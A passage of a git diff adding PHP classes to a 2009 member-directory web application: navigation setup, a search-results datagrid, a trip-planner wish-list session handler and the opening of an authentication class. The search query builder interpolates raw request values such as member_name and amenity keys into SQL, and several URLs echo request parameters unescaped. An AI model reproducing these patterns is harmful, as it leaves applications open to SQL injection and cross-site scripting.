+        $pluralType = $pluralDirective->getContent();
+
+        //  Default URI parameters that will get us back to the
+        //  page were we can edit member data.
+               $params = "cat=2&amp;subCat=2";
+
+        //  If we are editing an existing member, then we need to
+        //  add their id into the URI so we know who we are editing
+        if (is_numeric($_GET['id'])) {
+            $params .= "&amp;id={$_GET['id']}";
+        }
+
+        //  We always show the member info tab.
+        //  whether we are adding a member or editing a member
+               $nav = array(
+                       1 => array(
+                               'Title' => "$singularType Info",
+                               'url' => "/members.php?$params",
+                               'desc' => "View and edit $singularType in the database",
+                       )
+        );
+        if (is_numeric($_GET['id'])) {
+            $nav[2] = array(
+                               'Title' => 'Photos',
+                               'url' => "/members.php?$params",
+                               'desc' => "View and edit $pluralType in the database",
+                       );
+            $nav[3] = array(
+                               'Title' => 'Packages',
+                               'url' => "/members.php?$params",
+                               'desc' => "View and edit $singularType categories",
+                       );
+                       $nav[4] = array(
+                               'Title' => 'Amenities',
+                               'url' => "/members.php?$params",
+                               'desc' => "View and edit $singularType amenities",
+                       );
+                       $nav[5] = array(
+                               'Title' => 'Files',
+                               'url' => "/members.php?$params",
+                               'desc' => "View and edit $singularType regions",
+                       );
+                       $nav[6] = array(
+                               'Title' => 'Contacts',
+                               'url' => "/members.php?$params",
+                               'desc' => "View and edit $singularType cities",
+                       );
+        }
+
+        //  make full URI's and attach which tab we are working with
+        foreach ($nav as $i => &$j) {
+            $j['url'] =  BASE_URL . 'admin' . $j['url'] . "&amp;tab=$i";
+        }
+
+               $this->navStructure = $nav;
+       }
+
+       //      }}}
+       //      {{{     setupUserNavSructure()
+
+    /**
+     * Sets up a multi dimensional array used for the subnav structure
+     * 
+     * @return mixed  false on sql error. otherwise void
+     * @access public
+     */
+       public function setupUserNavStructure()
+       {
+        //  get reference to [listing type] section of config file
+        $config =& $this->config->getItem('section', 'listing type');
+        //  get coupon
+        $singularDirective =& $config->getItem('directive', 'singular');
+        $singularType = $singularDirective->getContent();
+        $pluralDirective =& $config->getItem('directive', 'plural');
+        $pluralType = $pluralDirective->getContent();
+
+               $params = "Option=Member&amp;Action=Edit";
+               $nav = array(
+                       1 => array(
+                               'Title' => "$singularType Info",
+                               'url' => "/index.php?$params",
+                               'desc' => "View and edit $singularType in the database",
+                       ),
+                       2 => array(
+                               'Title' => 'Photos',
+                               'url' => "/index.php?$params",
+                               'desc' => "View and edit $pluralType in the database",
+                       ),
+                       3 => array(
+                               'Title' => 'Packages',
+                               'url' => "/index.php?$params",
+                               'desc' => "View and edit $singularType categories",
+                       ),
+                       4 => array(
+                               'Title' => 'Amenities',
+                               'url' => "/index.php?$params",
+                               'desc' => "View and edit $singularType amenities",
+                       ),
+                       5 => array(
+                               'Title' => 'Files',
+                               'url' => "/index.php?$params",
+                               'desc' => "View and edit $singularType regions",
+                       ),
+                       6 => array(
+                               'Title' => 'Contacts',
+                               'url' => "/index.php?$params",
+                               'desc' => "View and edit $singularType cities",
+                       ),
+               );
+
+        //  make full URI's and attach which tab we are working with
+        foreach ($nav as $i => &$j) {
+            $j['url'] =  BASE_URL . 'memberdb' . $j['url'] . "&amp;tab=$i";
+        }
+
+               $this->navStructure = $nav;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/SearchList.php b/Toolkit/Members/SearchList.php
new file mode 100644 (file)
index 0000000..bec68dd
--- /dev/null
@@ -0,0 +1,728 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabsstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @release  CVS: $Id: SearchList.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+require_once 'FlexyDataGridBuilder.php';
+require_once 'Members/UserSearchForm.php';
+require_once 'Members/Exposure.php';
+require_once 'Common.php';
+require_once 'HTML/QuickForm/Renderer/Object.php';
+
+/**
+ * Datagrid of search results of member db
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_SearchList extends Toolkit_FlexyDataGridBuilder
+{
+       //      {{{     properties
+       
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+       protected $tableName = 'member';
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+       protected $queryParams = array();
+
+    /**
+     * Description for protected
+     * @var    unknown  
+     * @access protected
+     */
+       protected $showSearchBox;
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+       protected $template = 'membersList.tpl';
+
+       /**
+        * Whether subcats should be included in the search results
+        *
+        * If this is turned on, the subcategories beneath all categories assigned
+        * to the page will be included in the search results.
+        *
+        * Example Category Tree:
+        *
+        * Parent
+        *   |_ Child
+        *   |    |_ GrandChild
+        *   |
+        *   |_ Sibling
+        *
+        * If set to true and only "Parent" is assigned to a page from the toolbox,
+        * then members with all categories (parent, child, grandchild, sibling) will
+        * be included in the search results.
+        *
+        * If set to false and only Child is assigned to a page, then only members
+        * that have the category "Child" assigned to them will be included in the
+        * search Results.
+        *
+        * @var boolean
+        * @access protected
+        */
+       protected $includeSubCats = true;
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+        * define where templates for the data grid are at, then call the parent constructor which will handle
+        * finishing the settings for the datagrid.
+        *
+        * After all settings are finished you can call the toHTML() function on this object and the datagrid
+        * will be rendered and returned as a string.  Optionally you could call show() and the datagrid would
+        * be rendered and output immediatley to the screen.
+        *
+     * @param PDO     $pdo           PHP Data Object to use for DB calls
+     * @param string  $limit         The number of records to display per page.
+     * @param int     $page                 The current page viewed.
+     *                               In most cases, this is useless.
+     *                               Note: if you specify this, the "page" GET 
+     *                               variable will be ignored.
+     * @param string  $rendererType  The type of renderer to use.
+     *                               You may prefer to use the $type argument
+     *                               of {@link render}, {@link fill} or 
+     *                               {@link getOutput}
+     * @param boolean $showSearchBox If we should allow searching for members
+     * @param array   $sections      specific members we should show
+        *
+     * @return void
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $limit = null,
+        $page = null,
+        $rendererType = null,
+        $showSearchBox = true,
+        array $sections = null
+    ) {
+               $this->showSearchBox = $showSearchBox;
+               $this->pagerOptions['containerClass'] = 'pages';
+               parent::__construct($pdo, $limit, $page, $rendererType);
+       }
+
+       //      }}}
+
+       //      {{{ city()
+
+       /**
+        * Returns the city for a member.
+        *
+     * If this memberdb is using controlled cities then we need to extract
+     * the city name via the city_id
+        *
+     * @param array $data tuple record from db
+        *
+        * @return string City name for the record
+        * @access public
+        */
+       public function city($data)
+       {
+        //  get reference to [conf] section of config file
+        $config =& $this->config->getItem('section', 'conf');
+        $ctrlCtyD =& $config->getItem('directive', 'controlledCities');
+        if ($ctrlCtyD->getContent()) {
+            return $data['record']['city_name'];
+        } else {
+            return $data['record']['city'];
+        }
+       }
+
+       //      }}}
+       //      {{{ configureColumns()
+
+       /**
+        * Configures the columns that will be used in our datagrid renderer.
+        *
+        * @return void
+        * @access protected
+        */
+       protected function configureColumns()
+       {
+               $logo =& new Structures_DataGrid_Column('Logo',
+                                                                                               'logo',
+                                                                                               'logo',
+                                                                                               null,
+                                                                                               null,
+                                                                                               array(&$this, 'logo'));
+               $this->addColumn($logo);
+
+               $name =& new Structures_DataGrid_Column('Member Name',
+                                                'member_name',
+                                                'member_name');
+               $this->addColumn($name);
+
+               $street =& new Structures_DataGrid_Column('Street',
+                                                  'street',
+                                                  'street');
+               $this->addColumn($street);
+
+               $city =& new Structures_DataGrid_Column('City',
+                                                'city',
+                                                'city',
+                                                null,
+                                                null,
+                                                array(&$this, 'city'));
+               $this->addColumn($city);
+
+               $state =& new Structures_DataGrid_Column('State',
+                                                 'state',
+                                                 'state');
+               $this->addColumn($state);
+
+               $stateAbbr =& new Structures_DataGrid_Column('State Abbr',
+                                                     'state_abbr',
+                                                     'state_abbr');
+               $this->addColumn($stateAbbr);
+
+               $zip =& new Structures_DataGrid_Column('Zip',
+                                               'zip',
+                                               'zip');
+               $this->addColumn($zip);
+
+               $phone =& new Structures_DataGrid_Column('Phone',
+                                                 'phone',
+                                                 'phone',
+                                                 null,
+                                                 null,
+                                                 array(&$this, 'phone'));
+               $this->addColumn($phone);
+
+               $url =& new Structures_DataGrid_Column('URL',
+                                               'url',
+                                               'url',
+                                               null,
+                                               null,
+                                               array(&$this, 'url'));
+               $this->addColumn($url);
+
+               $reservationId =& new Structures_DataGrid_Column('Reservation Id',
+                                                                    'reservation_id',
+                                                         'reservation_id');
+               $this->addColumn($reservationId);
+
+               $numRooms =& new Structures_DataGrid_Column('Number of Rooms',
+                                                               'num_rooms',
+                                                    'num_rooms');
+               $this->addColumn($numRooms);
+
+               $yearRound =& new Structures_DataGrid_Column('Year Round',
+                                                                'year_round',
+                                                     'year_round',
+                                                     null,
+                                                     null,
+                                                     array(&$this, 'yearRound'));
+               $this->addColumn($yearRound);
+
+               $hasHotelInfo =& new Structures_DataGrid_Column(null,
+                                                        'has_hotel_info',
+                                                                   'has_hotel_info',
+                                                        null,
+                                                        null,
+                                                        array(&$this, 'hasHotelInfo'));
+        $this->addColumn($hasHotelInfo);
+
+        if (defined("MEMBER_SESSION_LIST") && MEMBER_SESSION_LIST) {
+            $link =& new Structures_DataGrid_Column('URL', 
+                                                    'plink',
+                                                    'plink',
+                                                    null, 
+                                                    null, 
+                                                    array(&$this, 'listUrl'));
+            $this->addColumn($link);
+        }
+
+        $link =& new Structures_DataGrid_Column('addToLink', 
+                                                'addToLink',
+                                                           'addToLink',
+                                                null, 
+                                                null, 
+                                                array(&$this, 'inList'));
+               $this->addColumn($link);
+    }
+
+    //    }}}
+
+    //  {{{ getAlphaList()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return array     Return description (if any) ...
+     * @access protected
+     */
+       protected function getAlphaList()
+       {
+               $pattern = "/ (\s*?AND\s*?)?upper\(substr\(m.member_name, 1, 1\)\) = upper\('.'\)/i";
+               $replacement = '';
+               $sql = preg_replace($pattern, $replacement, $this->sql);
+               try {
+                       $letters = array();
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->execute();
+
+                       $stmt->bindColumn('member_name', $name);
+
+                       while ($row = $stmt->fetch()) {
+                               $letters[] = strtoupper($name{0});
+                       }
+
+                       $letters = array_unique($letters);
+                       sort($letters);
+
+                       //      We only need to show the links of alphabet if we have more than
+                       //      one letter to display.
+                       if (count($letters) > 1) {
+                               foreach ($_GET as $k => $v) {
+                                       if ($k != 'alpha') {
+                                               if (is_array($v)) {
+                                                       foreach ($v as $i => $j) {
+                                                               $queryString .= $k . '[' . $i . ']=' . $j . '&';
+                                                       }
+                                               } else {
+                                                       $queryString .= "$k=$v&";
+                                               }
+                                       }
+                               }
+                               $links['All']['url'] = BASE_URL . "index.php?{$queryString}";
+                               $links['All']['class'] = empty($_GET['alpha']) ? 'curr' : null;
+                               foreach ($letters as $v) {
+                                       $links[$v]['url'] = BASE_URL . "index.php?{$queryString}alpha=$v";
+                                       if ($_GET['alpha'] == $v) {
+                                               $links[$v]['class'] = 'curr';
+                                       }
+                               }
+                               return $links;
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     _getMemberCategoriesForPage()
+       
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return mixed   Return description (if any) ...
+     * @access private
+     */
+       private function _getMemberCategoriesForPage()
+       {
+               try {
+                       $memberCategories = array();
+                       $sql =  "
+                SELECT memb_type
+                  FROM bus_cat_member
+                 WHERE catid = :catid";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':catid', $_GET['catid'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       $stmt->bindColumn('memb_type', $category);
+
+                       while ($row = $stmt->fetch()) {
+                               $memberCategories[] = $category;
+                       }
+
+                       //      If we should include all the sub categories beneath a category.
+                       if ($this->includeSubCats) {
+                               //      For each of the categories assigned to the page,
+                               //      we need to get all sub-categories.  This way the user
+                               //      can assign a top level category as a balloon to cover all the
+                               //      subcategories w/out individually assigning them as well.
+                               foreach ($memberCategories as $v) {
+                                       $catTree = Toolkit_Common::getHierarchicalTreeStructure(
+                        'category',
+                        'category_id',
+                        'parent_id',
+                        'pos',
+                        $v
+                    );
+
+                                       foreach ($catTree as $i => $j) {
+                                               $memberCategories[] = $i;
+                                       }
+                               }
+                       }
+
+                       return empty($memberCategories) ? false : $memberCategories;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ hasHotelInfo()
+
+    /**
+     * Determines if the record has any available hotel info to display
+     * 
+     * @param array $data record data
+     *
+     * @return boolean true if any data to display, otherwise false
+     * @access public
+     */
+       public function hasHotelInfo($data)
+       {
+        extract($data['record']);
+        return !(empty($reservation_id) && empty($num_rooms) && empty($year_round));
+       }
+
+       //      }}}
+
+    // {{{ inList()
+
+       /**
+     * Returns the bool for a member in session (list)
+        *
+        * Used when configuring the columns for the data grid. This
+     * function returns true or false if the member is in not session
+     * then true
+     *
+     * @param array $data tuple record from db
+        *
+     * @return boolean true if member is not in $_SESSION['wish_list']
+        * @access public
+        */
+    public function inList($data)
+    {
+        return !($_SESSION['wish_list'][$data['record']['member_id']]);
+    }
+
+    // }}}
+
+       //      {{{ listUrl()
+
+       /**
+        * Returns the url for a member.
+        *
+        * Used when configuring the columns for the data grid. This
+        * function generates the url to get to the member detail page
+        *
+     * @param array $data tuple record from db
+        * 
+        * @access      Public
+        * @version     Release: @package_version@
+        * @return      url for the add to or remove from $_SESSION['wish_list']
+        */
+       public function listUrl($data)
+       {
+        if (defined("MEMBER_SESSION_LIST") && MEMBER_SESSION_LIST) {
+            $url = BASE_URL."Toolkit/Members/TripPlanner/wish-list.php?catid={$_GET['catid']}&amp;member_id={$data['record']['member_id']}";
+            $url .= ($_REQUEST['search']) ? "&amp;search=" . $_REQUEST['search'] :'';
+            $url .= ($_REQUEST['member_name']) ? "&amp;member_name=" . urlencode($_REQUEST['member_name']) :'';
+            $url .= ($_REQUEST['category_id']) ? "&amp;category_id=" . $_REQUEST['category_id'] :'';
+            $url .= ($_REQUEST['sub_category_id']) ? "&amp;sub_category_id=" . $_REQUEST['sub_category_id'] :'';
+        } else {
+            $url = false;
+        }
+        return $url;
+       }
+
+       //      }}}
+       //      {{{ logo()
+
+       /**
+        * Returns the logo for a member.
+        *
+     * @param array $data tuple record from db
+     *
+        * @return false when empty, otherwise logo path for member 
+        * @access 
+        */
+       public function logo($data)
+       {
+        extract($data['record']);
+               return empty($logo) ? false : MEMBER_PHOTOS . $logo;
+       }
+
+       //      }}}
+
+       //      {{{ phone()
+
+       /**
+        * Returns the phone # for a member.
+        *
+        * Used when configuring the columns for the data grid. This
+        * function generates the phone for the member
+        *
+     * @param array $data tuple record from db
+     *
+        * @return mixed false when empty, member phone number if not empty
+        * @access public
+        */
+       public function phone($data)
+       {
+        extract($data['record']);
+               return empty($phone) ? false : $phone;
+       }
+
+       //      }}}
+
+    //  {{{ setConfig()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @param Config_Container $c Configuration object
+     *
+     * @return void
+     * @access public
+     */
+    public function setConfig(Config_Container $c)
+    {
+        $this->config = $c;
+    }
+
+    //  }}}
+       //      {{{     setControlObject()
+
+    /**
+     * These are the objects that will be inserted into the template.
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setControlObject()
+       {
+               $this->ctrlObj['base_url'] = BASE_URL;
+               $this->ctrlObj['letters'] = $this->getAlphaList();
+
+               if (isset($_GET['search']) && $this->showSearchBox) {
+                       $action = BASE_URL . "index.php?{$_SERVER['QUERY_STRING']}";
+            $form = new Toolkit_Members_UserSearchForm($this->dbh,
+                                                       'SearchForm',
+                                                       'get',
+                                                       $action,
+                                                       null,
+                                                       null,
+                                                       true);
+            $res = $form->setCatId($_GET['catid']);
+            if (PEAR::isError($res)) {
+                return Toolkit_Common::handleError($res);
+            } else {
+                $form->setPageMemberCategories();
+                $form->configureForm($this->config);
+                $this->ctrlObj['member_search_form'] = $form->toHtml();
+            }
+               }
+       }
+
+       //      }}}
+    //  {{{ setQuery()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @return void
+     * @access public
+     */
+    public function setQuery()
+    {
+               $sql = "
+               SELECT m.*, c.city_name, s.state_name AS state, s.state_abb
+                      AS state_abbr, ma.reservation_id, ma.num_rooms,
+                      ma.year_round
+                 FROM {$this->tableName} m
+              NATURAL LEFT JOIN member_accommodations ma
+                 JOIN state s ON m.state_id = s.state_id
+                 JOIN city c ON m.city_id  = c.city_id";
+
+        $this->queryParams = array("new_member != '1'", "active = '1'");
+
+        //  Limit to members whose first letter starts with the letter
+        //  a user clicked in the sort alphabetically list.
+        if (ctype_alpha($_GET['alpha'])) {
+            $this->queryParams[] = "upper(substr(m.member_name, 1, 1)) = upper('{$_GET['alpha']}')";
+        }
+
+        //  Limit to members whose name contains the string a user
+        //  entered into the member name box.
+        if (!empty($_GET['member_name'])) {
+            $this->queryParams[] = "member_name ilike '%{$_GET['member_name']}%'";
+        }
+
+        //  Using controlled cities and a search was performed on a city
+        //  get reference to [conf] section of config file
+        $config =& $this->config->getItem('section', 'conf');
+        $ctrlCtyD =& $config->getItem('directive', 'controlledCities');
+        if ($ctrlCtyD->getContent()) {
+            if (ctype_digit($_GET['city_id'])) {
+                $this->queryParams[] = "c.city_id = {$_GET['city_id']}";
+            }
+        }
+
+        //  Limit to members who have the category assigned to them
+        //  that a user selected from the member type box.
+        if (ctype_digit($_GET['sub_category_id'])) {
+            $this->queryParams[] = "
+                m.member_id IN (
+                    SELECT member_id
+                      FROM member_category
+                     WHERE category_id = {$_GET['sub_category_id']})";
+        } else if (ctype_digit($_GET['category_id'])) {
+            unset($subCats);
+            if ($this->includeSubCats) {
+                //  Members who are assigned specifically to this category
+                //  OR
+                //  Members who have a category assigned to them that is a child
+                //  of the parent category.
+                $catTree = Toolkit_Common::getHierarchicalTreeStructure(
+                    'category',
+                    'category_id',
+                    'parent_id',
+                    'pos',
+                    $_GET['category_id']
+                );
+
+                if (!empty($catTree)) {
+                    $subCats = "
+                        OR category_id IN (".implode(', ', array_keys($catTree)).")";
+                }
+            }
+            $this->queryParams[] = "
+                m.member_id IN (
+                    SELECT member_id
+                      FROM member_category
+                     WHERE category_id = {$_GET['category_id']}
+                           $subCats)";
+        } elseif ($categories = $this->_getMemberCategoriesForPage()) {
+            $this->queryParams[] = '
+                 m.member_id in (
+                    SELECT member_id
+                      FROM member_category
+                     WHERE category_id in ('.implode(', ', $categories).'))';
+        }
+
+               //      Limit to members who have the amenities that a user
+               //      checked off.
+               if (!empty($_GET['amenities'])) {
+                       if (isset($_GET['search_all_amenity'])) {
+                               //      Member must have ALL of the selected amenities.
+                               foreach ($_GET['amenities'] as $k => $v) {
+                                       if (ctype_digit($k)) {
+                                               $innerSql[] = "
+                                                       SELECT member_id
+                                                         FROM member_amenity
+                                                        WHERE amenity_id = $k";
+                                       }
+                               }
+
+                               $innerSql = implode(' INTERSECT ', $innerSql);
+                               $innerSql = "m.member_id in ($innerSql)";
+
+                               $this->queryParams[] = $innerSql;
+                       } else {
+                               //      Member can have ANY of the selected amenities
+                               $this->queryParams[] = "
+                                       member_id in (
+                                               SELECT member_id
+                                                 FROM member_amenity
+                                                WHERE amenity_id in(".implode(', ', array_keys($_GET['amenities']))."))";
+                       }
+               }
+
+               if (!is_null($sections)) {
+                       foreach ($sections as $v) {
+                               switch ($v) {
+                               case 'packages' :
+                                       $this->queryParams[] = "
+                                               member_id IN (
+                                                       SELECT member_id
+                                                         FROM member_packages)";
+                                       break;
+
+                               default :
+                                       break;
+                               }
+                       }
+               }
+
+               if (!empty($this->queryParams)) {
+                       $sql .= ' WHERE ' . implode(' AND ', $this->queryParams);
+               }
+
+        parent::setQuery($sql);
+    }
+
+    //  }}}
+
+       //      {{{ url()
+
+       /**
+        * Returns the url for a member.
+        *
+        * Used when configuring the columns for the data grid. This
+        * function generates the url to get to the member detail page
+        *
+     * @param array $data tuple record from db
+        *
+        * @return string uri for exposure record 
+        * @access public
+        */
+       public function url($data)
+       {
+        $exposure = new Toolkit_Members_Exposure($data['record']['member_id'], 'list');
+               return "index.php?catid={$_GET['catid']}&amp;member_id={$data['record']['member_id']}";
+       }
+
+       //      }}}
+
+       //      {{{ yearRound()
+
+       /**
+        * Returns the year round for a member w/ accommodations.
+        *
+        * Used when configuring the columns for the data grid. This
+        * function generates the year round for the member detail page
+     *
+     * @param array $data tuple record from db
+        *
+     * @return string if the accommodations is offered year round
+        * @access public
+        */
+       public function yearRound($data)
+       {
+               return ($data['record']['year_round'] == 't') ? 'Yes' : 'No';
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/TripPlanner/Sessions.php b/Toolkit/Members/TripPlanner/Sessions.php
new file mode 100644 (file)
index 0000000..99fd319
--- /dev/null
@@ -0,0 +1,290 @@
+<?php
+
+/**
+ * Sessions.php
+ *
+ * PHP version 5
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: Sessions.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link      <>
+ */
+
+/**
+ * Toolkit_Members_TripPlanner_Sessions
+ *
+ * Trying to place all the code for the storing of the member list to session
+ * into one place
+ * Takes the $_SESSION['wish_list'] used for the trip planner and
+ * add or removes members and their page id to the session
+ * if they're logged in with trip planner then they'll get everything saved to the
+ * database table member_session
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   Release: @package_version@
+ * @link      <>
+ */
+class Toolkit_Members_TripPlanner_Sessions
+{
+    // {{{ Properties
+    /**
+     * Global PDO
+     * @var    object
+     * @access protected
+     */
+    public $dbh;
+
+    /**
+     * Auth object
+     * @var    object
+     * @access protected
+     */
+    protected $auth;
+
+    /**
+     * $_SESSION['wish_list']
+     * @var    array
+     * @access protected
+     */
+    protected $session;
+
+    // }}}
+    // {{{ __construct()
+
+    /**
+     * Set the Auth object ad Global PDO
+     *
+     * @param integer $pdo  Global pdo
+     * @param integer $Auth current Auth object used for valid session
+     *
+     * @return void
+     * @access public
+     */
+    function __construct($pdo, Auth $Auth)
+    {
+        $this->dbh     =& $pdo;
+        $this->auth    =& $Auth;
+        $this->session =& $_SESSION['wish_list'];
+    }
+
+    // }}}
+    // {{{ addRecord()
+
+    /**
+     * Add the record into session storing the page it was added on.
+     * page shold always have the catid.
+     * If the user is logged in then store it in database with contact_id
+     *
+     * @param unknown $memberId member_id of record
+     * @param unknown $catId    page catid
+     *
+     * @return void
+     * @access public
+     */
+    function addRecord($memberId, $catId)
+    {
+        // add to the session the member record
+        $this->session[$memberId] = array(
+            'catid' => $catId
+        );
+        if ($this->isLoggedIn()) {
+            $cData = $this->auth->getAuthData();
+            try {
+                $sql = "
+                INSERT INTO member_session
+                (contact_id, member_id, catid)
+                VALUES
+                (:contact_id, :member_id, :catid)";
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(":member_id", $memberId, PDO::PARAM_INT);
+                $stmt->bindParam(":contact_id", $cData['id'], PDO::PARAM_INT);
+                $stmt->bindParam(":catid", $catId, PDO::PARAM_INT);
+                $stmt->execute();
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+        }
+    }
+
+    // }}}
+    // {{{ dumpList()
+
+    /**
+     * Dump the session for the list and
+     * if they are logged in then remove their list in the
+     * database.
+     *
+     * @return void
+     * @access public
+     */
+    function dumpList()
+    {
+        if ($this->isLoggedIn()) {
+            $cData = $this->auth->getAuthData();
+            $sql = "
+            DELETE
+              FROM member_session
+             WHERE contact_id = :contact_id";
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(":contact_id", $cData['id'], PDO::PARAM_INT);
+            $stmt->execute();
+        }
+        unset($this->session);
+        unset($_SESSION['wish_list']);
+        session_unregister('wish_list');
+    }
+
+    // }}}
+    // {{{ isLoggedIn()
+
+    /**
+     * Check the Auth object function checkAuth to see if the user has a valid
+     * login session.  If so then return true. If not then return false.
+     *
+     * @return boolean true valid login false invalid login
+     * @access public
+     */
+    function isLoggedIn()
+    {
+        if ($this->auth->checkAuth()) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    // }}}
+    // {{{ removeRecord()
+
+    /**
+     * Remove the record from the session.  If the user is logged in then
+     * also remove the data from the database.
+     *
+     * @param unknown $memberId member id for record
+     *
+     * @return void
+     * @access public
+     */
+    function removeRecord($memberId)
+    {
+        unset($this->session[$memberId]);
+        if ($this->isLoggedIn()) {
+            $cData = $this->auth->getAuthData();
+            //die('<p>'.print_r($cData, true).'</p>');
+            try {
+                $sql = "
+                DELETE FROM member_session
+                      WHERE member_id = :member_id
+                        AND contact_id = :contact_id";
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(":member_id", $memberId, PDO::PARAM_INT);
+                $stmt->bindParam(":contact_id", $cData['id'], PDO::PARAM_INT);
+                $stmt->execute();
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+        }
+    }
+
+    // }}}
+    // {{{ retrieveList()
+
+    /**
+     * Retreive the list form the database storage and repopulate the accounts data
+     * to the session var $this->session = $_SESSION['wish_list']
+     *
+     * @return void
+     * @access public
+     */
+    function retrieveList()
+    {
+        if ($this->isLoggedIn()) {
+            $cData = $this->auth->getAuthData();
+            try {
+                $sql = "
+                SELECT *
+                  FROM member_session
+                 WHERE contact_id = :contact_id";
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(":contact_id", $cData['id'], PDO::PARAM_INT);
+                $stmt->execute();
+                while ($row = $stmt->fetch()) {
+                    // don't dupe the list
+                    if (!$this->session[$row['member_id']]) {
+                        $this->session[$row['member_id']] = array(
+                            'catid' => $row['catid']
+                        );
+                    }
+                }
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+        }
+    }
+
+    // }}}
+    // {{{ saveList()
+
+    /**
+     * Save the list for the user.  This is called on the login page after the
+     * session is repopulated out from database.  No worries about dupes here.
+     * this function checks for existing records then won't reinsert.
+     *
+     * @param int $contactId the id from contact table for lookup
+     *
+     * @return void
+     * @access public
+     */
+    function saveList($contactId = null)
+    {
+        if ($this->isLoggedIn() && is_array($this->session)) {
+            if (isset($contactId) && is_numeric($contactId)) {
+                $cData['id'] = $contactId;
+            } else {
+                $cData = $this->auth->getAuthData();
+            }
+            $sql = "
+            SELECT member_id
+              FROM member_session
+             WHERE contact_id = :contact_id";
+            try {
+                $getDat = $this->dbh->prepare($sql);
+                $getDat->bindParam(":contact_id", $cData['id'], PDO::PARAM_INT);
+                $getDat->execute();
+                while ($row = $getDat->fetch()) {
+                    $mStoreSess[$row['member_id']] = $row['member_id'];
+                }
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+            foreach ($this->session as $memberId => $sData) {
+                if (!$mStoreSess[$memberId]) {
+                    try {
+                        $sql = "
+                        INSERT INTO member_session
+                        (contact_id, member_id, catid)
+                        VALUES
+                        (:contact_id, :member_id, :catid)";
+                        $stmt = $this->dbh->prepare($sql);
+                        $stmt->bindParam(":member_id", $memberId, PDO::PARAM_INT);
+                        $stmt->bindParam(":contact_id", $cData['id'], PDO::PARAM_INT);
+                        $stmt->bindParam(":catid", $sData['catid'], PDO::PARAM_INT);
+                        $stmt->execute();
+                    } catch(PDOException $e) {
+                        Toolkit_Common::handleError($e);
+                    }
+                }
+            }
+        }
+    }
+    // }}}
+}
+?>
diff --git a/Toolkit/Members/TripPlanner/TripAuth.php b/Toolkit/Members/TripPlanner/TripAuth.php
new file mode 100644 (file)
index 0000000..4a21ad5
--- /dev/null
@@ -0,0 +1,788 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Member Authentication
+ *
+ * PHP version 5
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: TripAuth.php,v 1.2 2009/12/15 20:18:16 jamie Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_Members_Auth-LoginForm, Toolkit_Members_Auth-PasswordForm
+ */
+
+require_once 'Auth.php';
+
+/**
+ * Methods for the memberdb authentication system
+ *
+ * Handles Cookie and session generation, id challenges and security for
+ * the memberdb application
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_Members_Auth-LoginForm, Toolkit_Members_Auth-PasswordForm
+ */
+class Toolkit_Members_TripPlanner_TripAuth extends Auth
+{
+       //      {{{     properties
+
+    /**
+     * Maximum idle time
+        *
+        * If more seconds pass before a new page request, then the user
+        * will have to re-authenticate back into the application.
